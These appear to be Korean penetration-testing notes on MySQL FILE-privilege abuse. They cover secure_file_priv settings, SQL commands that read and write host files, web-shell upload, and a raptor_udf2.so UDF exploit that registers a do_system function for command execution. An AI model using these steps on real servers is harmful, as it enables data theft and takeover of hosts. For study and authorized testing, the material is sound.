FILE 권한이 있을 때 로컬 파일 Read/Write가 가능하다. 공격자는 이를 로컬 시스템의 민감한 파일을 읽거나, 웹쉘 업로드 등으로 악용할 수 있다.
단, FILE 권한과 실제 호스트의 파일/디렉토리 접근 권한은 별개이다. 실제 시스템 상에서 접근권한까지 있어야 파일을 읽거나 쓸 수 있다.
secure_file_priv 옵션으로 인해 제한받는 경로가 있는지 확인해 볼 필요가 있다.
secure_file_priv
파일의 읽기/쓰기 경로를 제한하는 조건
secure_file_priv = NULL -> 파일 읽기/쓰기 불가secure_file_priv = '/path/to/' -> /path/to/ 디렉터리만 읽기/쓰기가 가능하다secure_file_priv = ''(공백) -> 따로 제한하는 경로가 없다. (모두 가능하다)
Command
# 현재 보유한 권한 확인SELECT privilege_type, grantee FROM information_schema.user_privileges;# secure_file_priv 설정값 확인 (두 가지 방법)SHOW VARIABLES LIKE 'secure_file_priv';SELECT variable_value FROM information_schema.global_variables WHERE variable_name="secure_file_priv";# 파일 읽기SELECT LOAD_FILE('/path/to/file');# 파일 쓰기SELECT "example" INTO OUTFILE("C:\\path\\to\\file.txt");
UDF exploit
UDF(사용자 정의 함수)로 시스템 커맨드를 실행하는 함수를 만들어 MySQL 프로세스 동작 주체의 권한으로 명령어를 실행하는 것
create table foo(line blob);insert into foo values(load_file('/tmp/raptor_udf2.so'));select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';create function do_system returns integer soname 'raptor_udf2.so';
/usr/lib/mysql/plugin/폴더(plugin_dir)에 쓰기 권한이 있어야함. (MySQL 5.7.6+부터 secure_file_priv 기본값이 특정경로로 설정됨)
# 플러그인 디렉토리 경로 확인SELECT @@plugin_dir;SHOW VARIABLES LIKE 'plugin_dir';# PrivateTmp 설정 가능성을 염두에 두고, .so바이너리를 다른곳에서 불러와보기insert into foo values(load_file('/var/www/raptor_udf2.so'));select * from foo;